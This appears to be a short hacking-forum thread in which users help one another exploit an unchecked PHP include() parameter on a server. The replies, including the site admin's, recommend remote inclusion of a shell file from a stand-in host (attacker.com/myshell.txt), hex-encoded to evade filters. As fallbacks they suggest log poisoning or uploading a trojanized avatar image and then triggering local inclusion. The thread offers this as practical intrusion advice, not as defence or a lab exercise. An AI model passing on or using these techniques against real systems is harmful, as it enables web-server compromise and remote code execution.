Waraxe Forums

kr0k0 · Advanced user

hi i want to do something for this bug , for e.g i want to include or ...,look at the bug to understand. ^^

mge · Valuable expert

looks like the second value is directly passed onto include() without any check.
you could try a file that you know that exists locally on the server (preferably with php code). plus, i suspect you could do more fun stuff if remote inclusions are enabled Shocked

kr0k0 · Advanced user

not working ..., if a have include a file not existed , i got another error but if i include a file existed like "index.php" i got the same error that i have posted it^^ an way need help , where are ? waraxe & koko

waraxe · Site admin

You got error "Fatal error: Cannot redeclare display_content()", thats absolutely normal, beause you included same file second time Smile

Try RFI, like http://attacker.com/myshell.txt, better in hexed form.
If remote file inclusion does not work, then you have to find a way to inject php code to some local file and after that make LFI.

Possible candidates:

1. Apache log files
2. Valid picture file with php code inside. If you have a way to upload pictures to the remote server - forum avatar for example - then you just upload trojanized picture file and then make inclusion. This method has helped me many times actually Cool